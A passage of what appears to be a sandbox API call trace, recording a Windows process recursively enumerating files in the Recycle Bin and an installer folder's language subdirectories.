hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0087.915] GetProcessHeap () returned 0xc00000 [0087.915] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0087.915] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0087.916] GetProcessHeap () returned 0xc00000 [0087.916] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0087.916] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0087.917] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0087.917] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0xe0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0087.917] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0xe0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0087.917] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0087.917] GetProcessHeap () returned 0xc00000 [0087.917] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0087.918] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0087.918] FindClose (in: hFindFile=0xc199f8 | out: hFindFile=0xc199f8) returned 1 [0087.918] GetProcessHeap () returned 0xc00000 [0087.918] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc5cfa0 | out: hHeap=0xc00000) returned 1 [0087.918] FindNextFileW (in: hFindFile=0xc19938, lpFindFileData=0x2b1fa88 | out: lpFindFileData=0x2b1fa88*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0087.918] FindNextFileW (in: hFindFile=0xc19938, lpFindFileData=0x2b1fa88 | out: lpFindFileData=0x2b1fa88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1e572a, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0087.918] GetProcessHeap () returned 0xc00000 [0087.918] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc5cfa0 [0087.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName=".", cAlternateFileName="")) returned 0xc199f8 [0087.925] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="..", cAlternateFileName="")) returned 1 [0087.926] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1025", cAlternateFileName="")) returned 1 [0087.927] GetProcessHeap () returned 0xc00000 [0087.927] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0087.927] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0087.928] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0087.928] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.928] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.928] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.928] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0087.928] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0087.928] GetProcessHeap () returned 0xc00000 [0087.928] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0087.929] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1028", cAlternateFileName="")) returned 1 [0087.929] GetProcessHeap () returned 0xc00000 [0087.929] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0087.929] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19c38 [0087.930] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0087.930] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.930] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.930] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.930] FindNextFileW (in: hFindFile=0xc19c38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0087.930] FindClose (in: hFindFile=0xc19c38 | out: hFindFile=0xc19c38) returned 1 [0087.931] GetProcessHeap () returned 0xc00000 [0087.931] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0087.931] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1029", cAlternateFileName="")) returned 1 [0087.931] GetProcessHeap () returned 0xc00000 [0087.931] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0087.932] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0087.933] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0087.933] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0087.933] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0087.933] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0087.933] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0087.933] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0087.933] GetProcessHeap () returned 0xc00000 [0087.933] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0087.934] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1030", cAlternateFileName="")) returned 1 [0087.934] GetProcessHeap () returned 0xc00000 [0087.934] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0087.934] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0088.260] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.261] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.261] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0088.261] GetProcessHeap () returned 0xc00000 [0088.261] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.261] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1031", cAlternateFileName="")) returned 1 [0088.261] GetProcessHeap () returned 0xc00000 [0088.261] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.262] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.263] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, 